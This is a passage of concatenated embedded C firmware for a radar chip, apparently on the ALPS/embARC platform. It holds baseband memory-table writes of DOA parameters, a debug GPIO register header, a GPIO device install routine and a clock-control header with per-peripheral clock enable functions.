baseband_write_mem_table(NULL, (uint32_t)0xcd1, (uint32_t)0x7344dea);
baseband_write_mem_table(NULL, (uint32_t)0xcd2, (uint32_t)0x8c00d87);
baseband_write_mem_table(NULL, (uint32_t)0xcd3, (uint32_t)0xf9e325b);
baseband_write_mem_table(NULL, (uint32_t)0xcd4, (uint32_t)0xc4f29f);
baseband_write_mem_table(NULL, (uint32_t)0xcd5, (uint32_t)0x7594ca6);
baseband_write_mem_table(NULL, (uint32_t)0xcd6, (uint32_t)0x8d80e4e);
baseband_write_mem_table(NULL, (uint32_t)0xcd7, (uint32_t)0xf92f261);
baseband_write_mem_table(NULL, (uint32_t)0xcd8, (uint32_t)0x937277);
baseband_write_mem_table(NULL, (uint32_t)0xcd9, (uint32_t)0x77a8b5d);
baseband_write_mem_table(NULL, (uint32_t)0xcda, (uint32_t)0x8f14f12);
baseband_write_mem_table(NULL, (uint32_t)0xcdb, (uint32_t)0xf87f267);
baseband_write_mem_table(NULL, (uint32_t)0xcdc, (uint32_t)0x61b25b);
baseband_write_mem_table(NULL, (uint32_t)0xcdd, (uint32_t)0x7980a11);
baseband_write_mem_table(NULL, (uint32_t)0xcde, (uint32_t)0x90bcfd1);
baseband_write_mem_table(NULL, (uint32_t)0xcdf, (uint32_t)0xf7cf26d);
baseband_write_mem_table(NULL, (uint32_t)0xce0, (uint32_t)0x2ff24b);
baseband_write_mem_table(NULL, (uint32_t)0xce1, (uint32_t)0x7b208c1);
baseband_write_mem_table(NULL, (uint32_t)0xce2, (uint32_t)0x927508d);
baseband_write_mem_table(NULL, (uint32_t)0xce3, (uint32_t)0xf71f274);
baseband_write_mem_table(NULL, (uint32_t)0xce4, (uint32_t)0xffe3245);
baseband_write_mem_table(NULL, (uint32_t)0xce5, (uint32_t)0x7c8076e);
baseband_write_mem_table(NULL, (uint32_t)0xce6, (uint32_t)0x9441146);
baseband_write_mem_table(NULL, (uint32_t)0xce7, (uint32_t)0xf67327b);
baseband_write_mem_table(NULL, (uint32_t)0xce8, (uint32_t)0xfccb24c);
baseband_write_mem_table(NULL, (uint32_t)0xce9, (uint32_t)0x7da861a);
baseband_write_mem_table(NULL, (uint32_t)0xcea, (uint32_t)0x961d1fa);
baseband_write_mem_table(NULL, (uint32_t)0xceb, (uint32_t)0xf5c7283);
baseband_write_mem_table(NULL, (uint32_t)0xcec, (uint32_t)0xf9b725d);
baseband_write_mem_table(NULL, (uint32_t)0xced, (uint32_t)0x7e944c4);
baseband_write_mem_table(NULL, (uint32_t)0xcee, (uint32_t)0x98092aa);
baseband_write_mem_table(NULL, (uint32_t)0xcef, (uint32_t)0xf51b28c);
baseband_write_mem_table(NULL, (uint32_t)0xcf0, (uint32_t)0xf6af279);
baseband_write_mem_table(NULL, (uint32_t)0xcf1, (uint32_t)0x7f4436e);
baseband_write_mem_table(NULL, (uint32_t)0xcf2, (uint32_t)0x9a05356);
baseband_write_mem_table(NULL, (uint32_t)0xcf3, (uint32_t)0xf46f294);
baseband_write_mem_table(NULL, (uint32_t)0xcf4, (uint32_t)0xf3af29f);
baseband_write_mem_table(NULL, (uint32_t)0xcf5, (uint32_t)0x7fb8218);
baseband_write_mem_table(NULL, (uint32_t)0xcf6, (uint32_t)0x9c0d3fe);
baseband_write_mem_table(NULL, (uint32_t)0xcf7, (uint32_t)0xf3c729e);
baseband_write_mem_table(NULL, (uint32_t)0xcf8, (uint32_t)0xf0bf2d0);
baseband_write_mem_table(NULL, (uint32_t)0xcf9, (uint32_t)0x7ff80c3);
baseband_write_mem_table(NULL, (uint32_t)0xcfa, (uint32_t)0x9e294a2);
baseband_write_mem_table(NULL, (uint32_t)0xcfb, (uint32_t)0xf31f2a8);
baseband_write_mem_table(NULL, (uint32_t)0xcfc, (uint32_t)0xeddf30b);
baseband_write_mem_table(NULL, (uint32_t)0xcfd, (uint32_t)0x7ffff6f);
baseband_write_mem_table(NULL, (uint32_t)0xcfe, (uint32_t)0xa051541);
baseband_write_mem_table(NULL, (uint32_t)0xcff, (uint32_t)0xf27b2b2);
baseband_write_mem_table(NULL, (uint32_t)0xd00, (uint32_t)0xeb0f34f);
baseband_write_mem_table(NULL, (uint32_t)0xd01, (uint32_t)0x7fcbe1d);
baseband_write_mem_table(NULL, (uint32_t)0xd02, (uint32_t)0xa2855dc);
baseband_write_mem_table(NULL, (uint32_t)0xd03, (uint32_t)0xf1d72bd);
baseband_write_mem_table(NULL, (uint32_t)0xd04, (uint32_t)0xe85339d);
baseband_write_mem_table(NULL, (uint32_t)0xd05, (uint32_t)0x7f5fcce);
baseband_write_mem_table(NULL, (uint32_t)0xd06, (uint32_t)0xa4c5672);
baseband_write_mem_table(NULL, (uint32_t)0xd07, (uint32_t)0xf1332c8);
baseband_write_mem_table(NULL, (uint32_t)0xd08, (uint32_t)0xe5af3f4);
baseband_write_mem_table(NULL, (uint32_t)0xd09, (uint32_t)0x7ebfb82);
baseband_write_mem_table(NULL, (uint32_t)0xd0a, (uint32_t)0xa715704);
baseband_write_mem_table(NULL, (uint32_t)0xd0b, (uint32_t)0xf08f2d3);
baseband_write_mem_table(NULL, (uint32_t)0xd0c, (uint32_t)0xe31f453);
baseband_write_mem_table(NULL, (uint32_t)0xd0d, (uint32_t)0x7de7a39);
baseband_write_mem_table(NULL, (uint32_t)0xd0e, (uint32_t)0xa96d792);
baseband_write_mem_table(NULL, (uint32_t)0xd0f, (uint32_t)0xefef2df);
baseband_write_mem_table(NULL, (uint32_t)0xd10, (uint32_t)0xe0a74bb);
baseband_write_mem_table(NULL, (uint32_t)0xd11, (uint32_t)0x7cdf8f5);
baseband_write_mem_table(NULL, (uint32_t)0xd12, (uint32_t)0xabd181b);
baseband_write_mem_table(NULL, (uint32_t)0xd13, (uint32_t)0xef4f2ec);
baseband_write_mem_table(NULL, (uint32_t)0xd14, (uint32_t)0xde4b52a);
baseband_write_mem_table(NULL, (uint32_t)0xd15, (uint32_t)0x7ba37b5);
baseband_write_mem_table(NULL, (uint32_t)0xd16, (uint32_t)0xae4189f);
baseband_write_mem_table(NULL, (uint32_t)0xd17, (uint32_t)0xeeb32f9);
baseband_write_mem_table(NULL, (uint32_t)0xd18, (uint32_t)0xdc0b5a0);
baseband_write_mem_table(NULL, (uint32_t)0xd19, (uint32_t)0x7a3767a);
baseband_write_mem_table(NULL, (uint32_t)0xd1a, (uint32_t)0xb0b591f);
baseband_write_mem_table(NULL, (uint32_t)0xd1b, (uint32_t)0xee17306);
baseband_write_mem_table(NULL, (uint32_t)0xd1c, (uint32_t)0xd9e761d);
baseband_write_mem_table(NULL, (uint32_t)0xd1d, (uint32_t)0x789b545);
baseband_write_mem_table(NULL, (uint32_t)0xd1e, (uint32_t)0xb33999a);
baseband_write_mem_table(NULL, (uint32_t)0xd1f, (uint32_t)0xed7b314);
baseband_write_mem_table(NULL, (uint32_t)0xd20, (uint32_t)0xd7e36a1);
baseband_write_mem_table(NULL, (uint32_t)0xd21, (uint32_t)0x76cf416);
baseband_write_mem_table(NULL, (uint32_t)0xd22, (uint32_t)0xb5c1a11);
baseband_write_mem_table(NULL, (uint32_t)0xd23, (uint32_t)0xece3322);
baseband_write_mem_table(NULL, (uint32_t)0xd24, (uint32_t)0xd5fb72a);
baseband_write_mem_table(NULL, (uint32_t)0xd25, (uint32_t)0x74d72ee);
baseband_write_mem_table(NULL, (uint32_t)0xd26, (uint32_t)0xb851a83);
baseband_write_mem_table(NULL, (uint32_t)0xd27, (uint32_t)0xec4b330);
baseband_write_mem_table(NULL, (uint32_t)0xd28, (uint32_t)0xd4377b8);
baseband_write_mem_table(NULL, (uint32_t)0xd29, (uint32_t)0x72b71cc);
baseband_write_mem_table(NULL, (uint32_t)0xd2a, (uint32_t)0xbae9af0);
baseband_write_mem_table(NULL, (uint32_t)0xd2b, (uint32_t)0xebb333f);
baseband_write_mem_table(NULL, (uint32_t)0xd2c, (uint32_t)0xd28f84c);
baseband_write_mem_table(NULL, (uint32_t)0xd2d, (uint32_t)0x706b0b1);
baseband_write_mem_table(NULL, (uint32_t)0xd2e, (uint32_t)0xbd85b58);
baseband_write_mem_table(NULL, (uint32_t)0xd2f, (uint32_t)0xeb1f34e);
baseband_write_mem_table(NULL, (uint32_t)0xd30, (uint32_t)0xd10b8e3);
baseband_write_mem_table(NULL, (uint32_t)0xd31, (uint32_t)0x6df6f9e);
baseband_write_mem_table(NULL, (uint32_t)0xd32, (uint32_t)0xc029bbc);
baseband_write_mem_table(NULL, (uint32_t)0xd33, (uint32_t)0xea8b35d);
baseband_write_mem_table(NULL, (uint32_t)0xd34, (uint32_t)0xcfa797f);
baseband_write_mem_table(NULL, (uint32_t)0xd35, (uint32_t)0x6b5ee93);
baseband_write_mem_table(NULL, (uint32_t)0xd36, (uint32_t)0xc2d5c1c);
baseband_write_mem_table(NULL, (uint32_t)0xd37, (uint32_t)0xe9fb36d);
baseband_write_mem_table(NULL, (uint32_t)0xd38, (uint32_t)0xce67a1e);
baseband_write_mem_table(NULL, (uint32_t)0xd39, (uint32_t)0x689ed90);
baseband_write_mem_table(NULL, (uint32_t)0xd3a, (uint32_t)0xc581c76);
baseband_write_mem_table(NULL, (uint32_t)0xd3b, (uint32_t)0xe96b37d);
baseband_write_mem_table(NULL, (uint32_t)0xd3c, (uint32_t)0xcd47ac0);
baseband_write_mem_table(NULL, (uint32_t)0xd3d, (uint32_t)0x65bec95);
baseband_write_mem_table(NULL, (uint32_t)0xd3e, (uint32_t)0xc835ccd);
baseband_write_mem_table(NULL, (uint32_t)0xd3f, (uint32_t)0xe8db38d);
baseband_write_mem_table(NULL, (uint32_t)0xd40, (uint32_t)0xcc4bb64);
baseband_write_mem_table(NULL, (uint32_t)0xd41, (uint32_t)0x62beba3);
baseband_write_mem_table(NULL, (uint32_t)0xd42, (uint32_t)0xcae9d1e);
baseband_write_mem_table(NULL, (uint32_t)0xd43, (uint32_t)0xe84f39e);
baseband_write_mem_table(NULL, (uint32_t)0xd44, (uint32_t)0xcb6fc0a);
baseband_write_mem_table(NULL, (uint32_t)0xd45, (uint32_t)0x5f9eaba);
baseband_write_mem_table(NULL, (uint32_t)0xd46, (uint32_t)0xcda1d6b);
baseband_write_mem_table(NULL, (uint32_t)0xd47, (uint32_t)0xe7c73ae);
baseband_write_mem_table(NULL, (uint32_t)0xd48, (uint32_t)0xcab7cb2);
baseband_write_mem_table(NULL, (uint32_t)0xd49, (uint32_t)0x5c629d9);
baseband_write_mem_table(NULL, (uint32_t)0xd4a, (uint32_t)0xd05ddb4);
baseband_write_mem_table(NULL, (uint32_t)0xd4b, (uint32_t)0xe73b3c0);
baseband_write_mem_table(NULL, (uint32_t)0xd4c, (uint32_t)0xca1fd5a);
baseband_write_mem_table(NULL, (uint32_t)0xd4d, (uint32_t)0x590a902);
baseband_write_mem_table(NULL, (uint32_t)0xd4e, (uint32_t)0xd31ddf8);
baseband_write_mem_table(NULL, (uint32_t)0xd4f, (uint32_t)0xe6b33d1);
baseband_write_mem_table(NULL, (uint32_t)0xd50, (uint32_t)0xc9abe03);
baseband_write_mem_table(NULL, (uint32_t)0xd51, (uint32_t)0x5596835);
baseband_write_mem_table(NULL, (uint32_t)0xd52, (uint32_t)0xd5dde37);
baseband_write_mem_table(NULL, (uint32_t)0xd53, (uint32_t)0xe62f3e3);
baseband_write_mem_table(NULL, (uint32_t)0xd54, (uint32_t)0xc95bead);
baseband_write_mem_table(NULL, (uint32_t)0xd55, (uint32_t)0x520e770);
baseband_write_mem_table(NULL, (uint32_t)0xd56, (uint32_t)0xd89de72);
baseband_write_mem_table(NULL, (uint32_t)0xd57, (uint32_t)0xe5a73f5);
baseband_write_mem_table(NULL, (uint32_t)0xd58, (uint32_t)0xc92bf56);
baseband_write_mem_table(NULL, (uint32_t)0xd59, (uint32_t)0x4e6e6b6);
baseband_write_mem_table(NULL, (uint32_t)0xd5a, (uint32_t)0xdb5dea9);
baseband_write_mem_table(NULL, (uint32_t)0xd5b, (uint32_t)0xe527407);
baseband_write_mem_table(NULL, (uint32_t)0xd5c, (uint32_t)0xc917ffe);
baseband_write_mem_table(NULL, (uint32_t)0xd5d, (uint32_t)0x4aba605);
baseband_write_mem_table(NULL, (uint32_t)0xd5e, (uint32_t)0xde1dedc);
baseband_write_mem_table(NULL, (uint32_t)0xd5f, (uint32_t)0xe4a3419);
baseband_write_mem_table(NULL, (uint32_t)0xd60, (uint32_t)0xc9240a5);
baseband_write_mem_table(NULL, (uint32_t)0xd61, (uint32_t)0x46f655e);
baseband_write_mem_table(NULL, (uint32_t)0xd62, (uint32_t)0xe0ddf0a);
baseband_write_mem_table(NULL, (uint32_t)0xd63, (uint32_t)0xe42342c);
baseband_write_mem_table(NULL, (uint32_t)0xd64, (uint32_t)0xc95414a);
baseband_write_mem_table(NULL, (uint32_t)0xd65, (uint32_t)0x431e4c0);
baseband_write_mem_table(NULL, (uint32_t)0xd66, (uint32_t)0xe39df34);
baseband_write_mem_table(NULL, (uint32_t)0xd67, (uint32_t)0xe3a743f);
baseband_write_mem_table(NULL, (uint32_t)0xd68, (uint32_t)0xc9a01ee);
baseband_write_mem_table(NULL, (uint32_t)0xd69, (uint32_t)0x3f3a42d);
baseband_write_mem_table(NULL, (uint32_t)0xd6a, (uint32_t)0xe65df5a);
baseband_write_mem_table(NULL, (uint32_t)0xd6b, (uint32_t)0xe32b452);
baseband_write_mem_table(NULL, (uint32_t)0xd6c, (uint32_t)0xca0c290);
baseband_write_mem_table(NULL, (uint32_t)0xd6d, (uint32_t)0x3b463a3);
baseband_write_mem_table(NULL, (uint32_t)0xd6e, (uint32_t)0xe919f7c);
baseband_write_mem_table(NULL, (uint32_t)0xd6f, (uint32_t)0xe2af465);
baseband_write_mem_table(NULL, (uint32_t)0xd70, (uint32_t)0xca9432f);
baseband_write_mem_table(NULL, (uint32_t)0xd71, (uint32_t)0x374a323);
baseband_write_mem_table(NULL, (uint32_t)0xd72, (uint32_t)0xebd1f9a);
baseband_write_mem_table(NULL, (uint32_t)0xd73, (uint32_t)0xe237478);
baseband_write_mem_table(NULL, (uint32_t)0xd74, (uint32_t)0xcb383cb);
baseband_write_mem_table(NULL, (uint32_t)0xd75, (uint32_t)0x33422ad);
baseband_write_mem_table(NULL, (uint32_t)0xd76, (uint32_t)0xee89fb3);
baseband_write_mem_table(NULL, (uint32_t)0xd77, (uint32_t)0xe1bf48c);
baseband_write_mem_table(NULL, (uint32_t)0xd78, (uint32_t)0xcbf8464);
baseband_write_mem_table(NULL, (uint32_t)0xd79, (uint32_t)0x2f32241);
baseband_write_mem_table(NULL, (uint32_t)0xd7a, (uint32_t)0xf141fc9);
baseband_write_mem_table(NULL, (uint32_t)0xd7b, (uint32_t)0xe14749f);
baseband_write_mem_table(NULL, (uint32_t)0xd7c, (uint32_t)0xccd04fa);
baseband_write_mem_table(NULL, (uint32_t)0xd7d, (uint32_t)0x2b1a1de);
baseband_write_mem_table(NULL, (uint32_t)0xd7e, (uint32_t)0xf3f1fdc);
baseband_write_mem_table(NULL, (uint32_t)0xd7f, (uint32_t)0xe0d34b3);
baseband_write_mem_table(NULL, (uint32_t)0xd80, (uint32_t)0xcdc458b);
baseband_write_mem_table(NULL, (uint32_t)0xd81, (uint32_t)0x26fe185);
baseband_write_mem_table(NULL, (uint32_t)0xd82, (uint32_t)0xf69dfea);
baseband_write_mem_table(NULL, (uint32_t)0xd83, (uint32_t)0xe0634c7);
baseband_write_mem_table(NULL, (uint32_t)0xd84, (uint32_t)0xcecc619);
baseband_write_mem_table(NULL, (uint32_t)0xd85, (uint32_t)0x22e2136);
baseband_write_mem_table(NULL, (uint32_t)0xd86, (uint32_t)0xf949ff5);
baseband_write_mem_table(NULL, (uint32_t)0xd87, (uint32_t)0xdfef4db);
baseband_write_mem_table(NULL, (uint32_t)0xd88, (uint32_t)0xcff06a3);
baseband_write_mem_table(NULL, (uint32_t)0xd89, (uint32_t)0x1ebe0f0);
baseband_write_mem_table(NULL, (uint32_t)0xd8a, (uint32_t)0xfbedffc);
baseband_write_mem_table(NULL, (uint32_t)0xd8b, (uint32_t)0xdf7f4ef);
baseband_write_mem_table(NULL, (uint32_t)0xd8c, (uint32_t)0xd124729);
baseband_write_mem_table(NULL, (uint32_t)0xd8d, (uint32_t)0x1a9e0b3);
baseband_write_mem_table(NULL, (uint32_t)0xd8e, (uint32_t)0xfe91fff);
baseband_write_mem_table(NULL, (uint32_t)0xd8f, (uint32_t)0xdf13504);
baseband_write_mem_table(NULL, (uint32_t)0xd90, (uint32_t)0xd2707aa);
baseband_write_mem_table(NULL, (uint32_t)0xd91, (uint32_t)0x167e07f);
baseband_write_mem_table(NULL, (uint32_t)0xd92, (uint32_t)0x129fff);
baseband_write_mem_table(NULL, (uint32_t)0xd93, (uint32_t)0xdea7518);
baseband_write_mem_table(NULL, (uint32_t)0xd94, (uint32_t)0xd3d0826);
baseband_write_mem_table(NULL, (uint32_t)0xd95, (uint32_t)0x125e055);
baseband_write_mem_table(NULL, (uint32_t)0xd96, (uint32_t)0x3c1ffc);
baseband_write_mem_table(NULL, (uint32_t)0xd97, (uint32_t)0xde3b52d);
baseband_write_mem_table(NULL, (uint32_t)0xd98, (uint32_t)0xd54089e);
baseband_write_mem_table(NULL, (uint32_t)0xd99, (uint32_t)0xe42033);
baseband_write_mem_table(NULL, (uint32_t)0xd9a, (uint32_t)0x651ff6);
baseband_write_mem_table(NULL, (uint32_t)0xd9b, (uint32_t)0xddd3541);
baseband_write_mem_table(NULL, (uint32_t)0xd9c, (uint32_t)0xd6c0910);
baseband_write_mem_table(NULL, (uint32_t)0xd9d, (uint32_t)0xa2a01a);
baseband_write_mem_table(NULL, (uint32_t)0xd9e, (uint32_t)0x8ddfec);
baseband_write_mem_table(NULL, (uint32_t)0xd9f, (uint32_t)0xdd6b556);
baseband_write_mem_table(NULL, (uint32_t)0xda0, (uint32_t)0xd85097d);
baseband_write_mem_table(NULL, (uint32_t)0xda1, (uint32_t)0x61a009);
baseband_write_mem_table(NULL, (uint32_t)0xda2, (uint32_t)0xb61fe0);
baseband_write_mem_table(NULL, (uint32_t)0xda3, (uint32_t)0xdd0756b);
baseband_write_mem_table(NULL, (uint32_t)0xda4, (uint32_t)0xd9f09e6);
baseband_write_mem_table(NULL, (uint32_t)0xda5, (uint32_t)0x20e001);
baseband_write_mem_table(NULL, (uint32_t)0xda6, (uint32_t)0xde1fd0);
baseband_write_mem_table(NULL, (uint32_t)0xda7, (uint32_t)0xdca3580);
baseband_write_mem_table(NULL, (uint32_t)0xda8, (uint32_t)0xdba0a49);
baseband_write_mem_table(NULL, (uint32_t)0xda9, (uint32_t)0xfe0e001);
baseband_write_mem_table(NULL, (uint32_t)0xdaa, (uint32_t)0x1059fbd);
baseband_write_mem_table(NULL, (uint32_t)0xdab, (uint32_t)0xdc3f595);
baseband_write_mem_table(NULL, (uint32_t)0xdac, (uint32_t)0xdd58aa6);
baseband_write_mem_table(NULL, (uint32_t)0xdad, (uint32_t)0xfa12009);
baseband_write_mem_table(NULL, (uint32_t)0xdae, (uint32_t)0x12c9fa7);
baseband_write_mem_table(NULL, (uint32_t)0xdaf, (uint32_t)0xdbdf5aa);
baseband_write_mem_table(NULL, (uint32_t)0xdb0, (uint32_t)0xdf1caff);
baseband_write_mem_table(NULL, (uint32_t)0xdb1, (uint32_t)0xf626018);
baseband_write_mem_table(NULL, (uint32_t)0xdb2, (uint32_t)0x1535f8f);
baseband_write_mem_table(NULL, (uint32_t)0xdb3, (uint32_t)0xdb7f5bf);
baseband_write_mem_table(NULL, (uint32_t)0xdb4, (uint32_t)0xe0ecb52);
baseband_write_mem_table(NULL, (uint32_t)0xdb5, (uint32_t)0xf24202f);
baseband_write_mem_table(NULL, (uint32_t)0xdb6, (uint32_t)0x1795f74);
baseband_write_mem_table(NULL, (uint32_t)0xdb7, (uint32_t)0xdb235d4);
baseband_write_mem_table(NULL, (uint32_t)0xdb8, (uint32_t)0xe2c4b9f);
baseband_write_mem_table(NULL, (uint32_t)0xdb9, (uint32_t)0xee6a04e);
baseband_write_mem_table(NULL, (uint32_t)0xdba, (uint32_t)0x19f1f56);
baseband_write_mem_table(NULL, (uint32_t)0xdbb, (uint32_t)0xdac75e9);
baseband_write_mem_table(NULL, (uint32_t)0xdbc, (uint32_t)0xe4a4be7);
baseband_write_mem_table(NULL, (uint32_t)0xdbd, (uint32_t)0xea9e073);
baseband_write_mem_table(NULL, (uint32_t)0xdbe, (uint32_t)0x1c45f36);
baseband_write_mem_table(NULL, (uint32_t)0xdbf, (uint32_t)0xda6b5fe);
baseband_write_mem_table(NULL, (uint32_t)0xdc0, (uint32_t)0xe688c2a);
baseband_write_mem_table(NULL, (uint32_t)0xdc1, (uint32_t)0xe6de0a0);
baseband_write_mem_table(NULL, (uint32_t)0xdc2, (uint32_t)0x1e91f13);
baseband_write_mem_table(NULL, (uint32_t)0xdc3, (uint32_t)0xda13613);
baseband_write_mem_table(NULL, (uint32_t)0xdc4, (uint32_t)0xe874c67);
baseband_write_mem_table(NULL, (uint32_t)0xdc5, (uint32_t)0xe32e0d2);
baseband_write_mem_table(NULL, (uint32_t)0xdc6, (uint32_t)0x20d5eee);
baseband_write_mem_table(NULL, (uint32_t)0xdc7, (uint32_t)0xd9bb628);
baseband_write_mem_table(NULL, (uint32_t)0xdc8, (uint32_t)0xea64c9f);
baseband_write_mem_table(NULL, (uint32_t)0xdc9, (uint32_t)0xdf8e10c);
baseband_write_mem_table(NULL, (uint32_t)0xdca, (uint32_t)0x2311ec7);
baseband_write_mem_table(NULL, (uint32_t)0xdcb, (uint32_t)0xd96763d);
baseband_write_mem_table(NULL, (uint32_t)0xdcc, (uint32_t)0xec58cd2);
baseband_write_mem_table(NULL, (uint32_t)0xdcd, (uint32_t)0xdbfe14b);
baseband_write_mem_table(NULL, (uint32_t)0xdce, (uint32_t)0x2545e9d);
baseband_write_mem_table(NULL, (uint32_t)0xdcf, (uint32_t)0xd913652);
baseband_write_mem_table(NULL, (uint32_t)0xdd0, (uint32_t)0xee50cff);
baseband_write_mem_table(NULL, (uint32_t)0xdd1, (uint32_t)0xd87e190);
baseband_write_mem_table(NULL, (uint32_t)0xdd2, (uint32_t)0x2771e72);
baseband_write_mem_table(NULL, (uint32_t)0xdd3, (uint32_t)0xd8bf667);
baseband_write_mem_table(NULL, (uint32_t)0xdd4, (uint32_t)0xf048d27);
baseband_write_mem_table(NULL, (uint32_t)0xdd5, (uint32_t)0xd50e1db);
baseband_write_mem_table(NULL, (uint32_t)0xdd6, (uint32_t)0x2991e44);
baseband_write_mem_table(NULL, (uint32_t)0xdd7, (uint32_t)0xd86f67c);
baseband_write_mem_table(NULL, (uint32_t)0xdd8, (uint32_t)0xf240d4b);
baseband_write_mem_table(NULL, (uint32_t)0xdd9, (uint32_t)0xd1ae22b);
baseband_write_mem_table(NULL, (uint32_t)0xdda, (uint32_t)0x2bade15);
baseband_write_mem_table(NULL, (uint32_t)0xddb, (uint32_t)0xd81f691);
baseband_write_mem_table(NULL, (uint32_t)0xddc, (uint32_t)0xf438d69);
baseband_write_mem_table(NULL, (uint32_t)0xddd, (uint32_t)0xce5e281);
baseband_write_mem_table(NULL, (uint32_t)0xdde, (uint32_t)0x2dbdde3);
baseband_write_mem_table(NULL, (uint32_t)0xddf, (uint32_t)0xd7cf6a6);
baseband_write_reg(NULL, (uint32_t)0xc00014, (uint32_t)0x0);
EMBARC_PRINTF("/*** doa params programmed! ***/\n\r");
}
/*** shadow bank programmed! ***/
/*** dc calib done! ***/
/*** interframe powersaving feature is on! ***/
/*** Baseband HW init done... ***/
}
<file_sep>#ifndef _DMU_DBG_GPIO_H_
#define _DMU_DBG_GPIO_H_
#define REL_REGBASE_DMU (0x00BA0000U)
#define REG_GPIO_DBG_SRC (REL_REGBASE_DMU + 0x3C)
#define REG_GPIO_DBG_VAL_OEN (REL_REGBASE_DMU + 0x40)
#define REG_GPIO_DBG_DAT_OEN (REL_REGBASE_DMU + 0x44)
#define REG_GPIO_DBG_DAT_O (REL_REGBASE_DMU + 0x48)
#define REG_GPIO_DBG_DAT_I (REL_REGBASE_DMU + 0x4c)
#endif
<file_sep>#include "embARC_toolchain.h"
#include "alps/alps.h"
#include "dw_gpio.h"
#include "dbg_gpio_reg.h"
static dw_gpio_t dev_dw_gpio = {
.base = REL_REGBASE_GPIO,
.int_no = INTNO_GPIO
};
static void dw_gpio_resource_install(void)
{
dw_gpio_install_ops(&dev_dw_gpio);
}
void *dw_gpio_get_dev(void)
{
static uint32_t dw_gpio_install_flag = 0;
if (0 == dw_gpio_install_flag) {
dw_gpio_resource_install();
dw_gpio_install_flag = 1;
}
return (void *)&dev_dw_gpio;
}
<file_sep>#ifndef _CHIP_CLOCK_H_
#define _CHIP_CLOCK_H_
#include "alps_clock_reg.h"
#define CLOCK_10MHZ (10000000)
#define CLOCK_20MHZ (20000000)
#define CLOCK_40MHZ (40000000)
#define CLOCK_50MHZ (50000000)
#define CLOCK_100MHZ (100000000)
#ifdef PLAT_ENV_FPGA
#define RC_BOOT_CLOCK_FREQ (10000000UL)
#define XTAL_CLOCK_FREQ (10000000UL)
#define PLL0_OUTPUT_CLOCK_FREQ (10000000UL)
#define PLL1_OUTPUT_CLOCK_FREQ (10000000UL)
#else
#define RC_BOOT_CLOCK_FREQ (50000000UL)
#define XTAL_CLOCK_FREQ (50000000UL)
#define PLL0_OUTPUT_CLOCK_FREQ (400000000UL)
#define PLL1_OUTPUT_CLOCK_FREQ (300000000UL)
#endif
#define BUS_CLK_200M 1
#define BUS_CLK_100M 3
#define BUS_CLK_50M 7
#define APB_DIV_DISABLE 0
#define APB_DIV_2 1
#define APB_DIV_4 3
#define CLK_ON 1
#define CLK_OFF 0
typedef enum alps_b_clock_node {
RC_BOOT_CLOCK = 0,
XTAL_CLOCK,
PLL0_CLOCK,
PLL1_CLOCK,
CPU_REF_CLOCK,
SYSTEM_REF_CLOCK,
APB_REF_CLOCK,
APB_CLOCK,
AHB_CLOCK,
CPU_CLOCK,
MEM_CLOCK,
ROM_CLOCK,
RAM_CLOCK,
CAN0_CLOCK,
CAN1_CLOCK,
XIP_CLOCK,
BB_CLOCK,
UART0_CLOCK,
UART1_CLOCK,
I2C_CLOCK,
SPI_M0_CLOCK,
SPI_M1_CLOCK,
SPI_S_CLOCK,
QSPI_CLOCK,
GPIO_CLOCK,
DAC_OUT_CLOCK,
CRC_CLOCK,
TIMER_CLOCK,
DMU_CLOCK,
PWM_CLOCK,
CLOCK_SOURCE_INVALID = 0xFF
} clock_source_t;
static inline void xip_enable(uint32_t en)
{
if (en) {
raw_writel(REG_CLKGEN_ENA_FLASH_CTRL, 1);
} else {
raw_writel(REG_CLKGEN_ENA_FLASH_CTRL, 0);
}
}
static inline void bb_enable(uint32_t en)
{
if (en) {
raw_writel(REG_CLKGEN_ENA_BB, 1);
} else {
raw_writel(REG_CLKGEN_ENA_BB, 0);
}
}
static inline void uart0_enable(uint32_t en)
{
if (en) {
raw_writel(REG_CLKGEN_ENA_UART_0, 1);
} else {
raw_writel(REG_CLKGEN_ENA_UART_0, 0);
}
}
static inline void uart1_enable(uint32_t en)
{
if (en) {
raw_writel(REG_CLKGEN_ENA_UART_1, 1);
} else {
raw_writel(REG_CLKGEN_ENA_UART_1, 0);
}
}
static inline void i2c_enable(uint32_t en)
{
if (en) {
raw_writel(REG_CLKGEN_ENA_I2C, 1);
} else {
raw_writel(REG_CLKGEN_ENA_I2C, 0);
}
}
static inline void spi_m0_enable(uint32_t en)
{
if (en) {
raw_writel(REG_CLKGEN_ENA_SPI_M0, 1);
} else {
raw_writel(REG_CLKGEN_ENA_SPI_M0, 0);
}
}
static inline void spi_m1_enable(uint32_t en)
{
if (en) {
raw_writel(REG_CLKGEN_ENA_SPI_M1, 1);
} else {
raw_writel(REG_CLKGEN_ENA_SPI_M1, 0);
}
}
static inline void spi_s_enable(uint32_t en)
{
if (en) {
raw_writel(REG_CLKGEN_ENA_SPI_S, 1);
} else {
raw_writel(REG_CLKGEN_ENA_SPI_S, 0);
}
}
static inline int32_t spi_enable(uint32_t id, uint32_t en)
{
int32_t result = 0;
switch (id) {
case 0: spi_m0_enable(en); break;
case 1: spi_m1_enable(en); break;
case 2: spi_s_enable(en); break;
default: result = -1;
}
return result;
}
static inline void qspi_enable(uint32_t en)
{
if (en) {
raw_writel(REG_CLKGEN_ENA_QSPI, 1);
} else {
raw_writel(REG_CLKGEN_ENA_QSPI, 0);
}
}
static inline void gpio_enable(uint32_t en)
{
if (en) {
raw_writel(REG_CLKGEN_ENA_GPIO, 1);
} else {
raw_writel(REG_CLKGEN_ENA_GPIO, 0);
}
}
static inline void can0_enable(uint32_t en)
{
if (en) {
raw_writel(REG_CLKGEN_ENA_CAN_0, 1);
} else {
raw_writel(REG_CLKGEN_ENA_CAN_0, 0);
}
}
static inline void can1_enable(uint32_t en)
{
if (en) {
raw_writel(REG_CLKGEN_ENA_CAN_1, 1);
} else {
raw_writel(REG_CLKGEN_ENA_CAN_1, 0);
}
}
static inline void dac_out_enable(uint32_t en)
{
if (en) {
raw_writel(REG_CLKGEN_ENA_DAC_OUT, 1);
} else {
raw_writel(REG_CLKGEN_ENA_DAC_OUT, 0);
}
}
static inline void gpio_out_enable(uint32_t en)
{
if (en) {
raw_writel(REG_CLKGEN_ENA_GPIO_OUT, 1);
} else {
raw_writel(REG_CLKGEN_ENA_GPIO_OUT, 0);
}
}
static inline void rom_enable(uint32_t en)
{
if (en) {
raw_writel(REG_CLKGEN_ENA_ROM, 1);
} else {
raw_writel(REG_CLKGEN_ENA_ROM, 0);
}
}
static inline void ram_enable(uint32_t en)
{
if (en) {
raw_writel(REG_CLKGEN_ENA_RAM, 1);
} else {
